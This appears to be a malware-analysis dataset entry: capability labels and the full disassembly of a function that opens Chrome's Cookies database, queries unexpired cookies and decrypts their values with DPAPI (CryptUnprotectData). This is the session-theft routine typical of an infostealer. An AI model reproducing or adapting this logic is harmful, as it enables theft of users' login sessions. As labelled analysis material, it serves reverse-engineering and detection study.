Function at 0x4c8f30
Capabilities:
Encrypt data using dpapi
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50dad0
mov eax, dword fs:[0]
push eax
mov eax, 0x10d0
call fcn.00508c20
mov eax, dword [0x72400c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1014], 0xf
mov dword [ebp - 0x1018], 0
mov byte [ebp - 0x1028], 0
mov dword [ebp - 4], 0
cmp dword [edx + 0x10], 0
jne 0x4c9066
lea eax, [ebp - 0x10c4]
mov dword [ebp - 0x10c4], 0
push eax
push 0
push 0
push 0x515840
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jne 0x4c90ec
push dword [ebp - 0x10c4]
lea ecx, [ebp - 0x1040]
call fcn.0040f910
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1040]
cmp dword [ebp - 0x102c], 8
mov eax, dword [ebp - 0x1030]
cmovae ecx, dword [ebp - 0x1040]
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x1040]
cmovae ecx, dword [ebp - 0x1040]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x10bc]
call fcn.004447b0
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x10bc]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x1028]
call fcn.00408060
mov eax, dword [ebp - 0x10a8]
cmp eax, 0x10
jb 0x4c903b
inc eax
lea ecx, [ebp - 0x10bc]
push eax
push dword [ebp - 0x10bc]
call fcn.00408600
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x102c]
cmp eax, 8
jb 0x4c90ec
inc eax
lea ecx, [ebp - 0x1040]
push eax
push dword [ebp - 0x1040]
call fcn.004120a0
jmp 0x4c90ec
push str.AppDataLocal
lea ecx, [ebp - 0x1040]
call fcn.004282f0
add esp, 4
mov esi, eax
lea eax, [ebp - 0x1028]
cmp eax, esi
je 0x4c90ca
mov eax, dword [ebp - 0x1014]
cmp eax, 0x10
jb 0x4c90a3
inc eax
lea ecx, [ebp - 0x1028]
push eax
push dword [ebp - 0x1028]
call fcn.00408600
push esi
lea ecx, [ebp - 0x1028]
mov dword [ebp - 0x1014], 0xf
mov dword [ebp - 0x1018], 0
mov byte [ebp - 0x1028], 0
call fcn.00408190
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x102c]
cmp eax, 0x10
jb 0x4c90ec
inc eax
lea ecx, [ebp - 0x1040]
push eax
push dword [ebp - 0x1040]
call fcn.00408600
push 0x28
push str.GoogleChromeUser_DataDefaultCookies
lea ecx, [ebp - 0x1028]
call fcn.00410870
cmp dword [ebp - 0x1014], 0x10
lea ecx, [ebp - 0x1028]
push 0
cmovae ecx, dword [ebp - 0x1028]
lea edx, [ebp - 0x10c4]
push 6
call fcn.004c2ce0
add esp, 8
test eax, eax
je 0x4c913c
mov ecx, dword [ebp - 0x10c4]
xor edx, edx
call fcn.004c0fb0
xor bl, bl
jmp 0x4c9522
push 0x1000
lea eax, [ebp - 0x1010]
push 0
push eax
call fcn.004e7b30
mov ecx, dword [ebp - 0x10c4]
lea eax, [ebp - 0x10c0]
push 0
push eax
push 0
push 0x80
push 0xffffffffffffffff
mov edx, str.select_name__encrypted_value__host_key__path__length_encrypted_value__from_cookies_where_datetime_expires_utc_1000000__strftime__s__1601_01_01___unixepoch____datetime_now__utc_
call fcn.004a1230
push dword [ebp - 0x10c0]
call fcn.00471700
push 0
push dword [ebp - 0x10c0]
call fcn.004720a0
add esp, 0x2c
test eax, eax
je 0x4c9505
mov ebx, 4
nop dword [eax]
mov dword [ebp - 0x108c], 0xf
mov dword [ebp - 0x1090], 0
mov byte [ebp - 0x10a0], 0
mov dword [ebp - 0x1074], 0xf
mov dword [ebp - 0x1078], 0
mov byte [ebp - 0x1088], 0
mov dword [ebp - 0x105c], 0xf
mov dword [ebp - 0x1060], 0
mov byte [ebp - 0x1070], 0
mov dword [ebp - 0x1044], 0xf
mov dword [ebp - 0x1048], 0
mov byte [ebp - 0x1058], 0
mov byte [ebp - 4], 4
mov eax, dword [0x72876c]
push 1
push dword [ebp - 0x10c0]
mov dword [ebp - 0x10a4], eax
call fcn.004720a0
mov esi, dword [ebp - 0x10c0]
add esp, 8
mov dword [ebp - 0x10d0], eax
test esi, esi
je 0x4c9279
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x4c924e
push eax
call dword [0x7255d0]
add esp, 4
mov ecx, dword [esi + 0x68]
test ecx, ecx
je 0x4c9266
cmp bx, word [esi + 0x8c]
jae 0x4c9266
add ecx, 0xa0
jmp 0x4c927e
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x34], 0x19
call fcn.004514f0
mov ecx, 0x680640
call fcn.0046ab00
mov edi, eax
test esi, esi
je 0x4c92be
mov ecx, dword [esi]
mov edx, dword [esi + 0x28]
cmp byte [ecx + 0x45], 0
jne 0x4c92a3
cmp edx, 0xc0a
je 0x4c92a3
mov eax, dword [ecx + 0x38]
and eax, edx
jmp 0x4c92a8
call fcn.0044ee00
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x4c92be
push eax
call dword [0x7255d8]
add esp, 4
lea eax, [ebp - 0x10dc]
mov dword [ebp - 0x10d4], edi
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10d4]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x4c935a
mov edi, dword [ebp - 0x10dc]
xor edx, edx
test edi, edi
je 0x4c9312
mov esi, dword [ebp - 0x10d8]
lea eax, [ebp - 0x1010]
sub esi, eax
lea ecx, [ebp - 0x1010]
add ecx, edx
inc edx
mov al, byte [esi + ecx]
mov byte [ecx], al
cmp edx, edi
jb 0x4c9300
cmp byte [ebp - 0x1010], 0
jne 0x4c931f
xor ecx, ecx
jmp 0x4c9331
lea ecx, [ebp - 0x1010]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c9328
sub ecx, edx
push ecx
lea eax, [ebp - 0x1010]
push eax
lea ecx, [ebp - 0x1070]
call fcn.00407f60
push 0x1000
lea eax, [ebp - 0x1010]
push 0
push eax
call fcn.004e7b30
add esp, 0xc
push 0
push dword [ebp - 0x10c0]
call fcn.004720a0
mov edx, eax
add esp, 8
cmp byte [edx], 0
jne 0x4c9375
xor ecx, ecx
jmp 0x4c9389
mov ecx, edx
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c9380
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x10a0]
call fcn.00407f60
push 2
push dword [ebp - 0x10c0]
call fcn.004720a0
mov edx, eax
add esp, 8
cmp byte [edx], 0
jne 0x4c93b1
xor ecx, ecx
jmp 0x4c93bf
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c93b6
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x1088]
call fcn.00407f60
push 3
push dword [ebp - 0x10c0]
call fcn.004720a0
mov edx, eax
add esp, 8
cmp byte [edx], 0
jne 0x4c93e7
xor ecx, ecx
jmp 0x4c93f9
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c93f0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x1058]
call fcn.00407f60
mov esi, dword [0x729d4c]
lea eax, [ebp - 0x10a4]
cmp eax, esi
jae 0x4c9482
mov edi, dword [0x729d48]
cmp edi, eax
ja 0x4c9482
mov ecx, eax
mov eax, 0x51eb851f
sub ecx, edi
imul ecx
sar edx, 5
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
cmp esi, dword [0x729d50]
jne 0x4c9454
push ecx
mov ecx, 0x729d48
call fcn.004c9890
mov esi, dword [0x729d4c]
mov edi, dword [0x729d48]
imul eax, ebx, 0x64
mov dword [ebp - 0x10c8], esi
mov dword [ebp - 0x10cc], esi
add eax, edi
mov byte [ebp - 4], 5
test esi, esi
je 0x4c947b
push eax
mov ecx, esi
call fcn.004c9a20
mov esi, dword [0x729d4c]
mov ebx, 4
jmp 0x4c94c3
cmp esi, dword [0x729d50]
jne 0x4c949b
push ecx
mov ecx, 0x729d48
call fcn.004c9890
mov esi, dword [0x729d4c]
mov dword [ebp - 0x10cc], esi
mov dword [ebp - 0x10c8], esi
mov byte [ebp - 4], 6
test esi, esi
je 0x4c94c3
lea eax, [ebp - 0x10a4]
mov ecx, esi
push eax
call fcn.004c9a20
mov esi, dword [0x729d4c]
mov byte [ebp - 4], 4
add esi, 0x64
push dword [ebp - 0x10c0]
mov dword [0x729d4c], esi
call fcn.00471700
add esp, 4
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x10a4]
call fcn.00429940
push 0
push dword [ebp - 0x10c0]
call fcn.004720a0
add esp, 8
test eax, eax
jne 0x4c91a0
push dword [ebp - 0x10c0]
call fcn.00470880
mov ecx, dword [ebp - 0x10c4]
add esp, 4
xor edx, edx
call fcn.004c0fb0
mov bl, 1
mov ecx, dword [ebp - 0x1014]
cmp ecx, 0x10
jb 0x4c9540
inc ecx
push ecx
push dword [ebp - 0x1028]
lea ecx, [ebp - 0x1028]
call fcn.00408600
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004ce564
mov esp, ebp
pop ebp
ret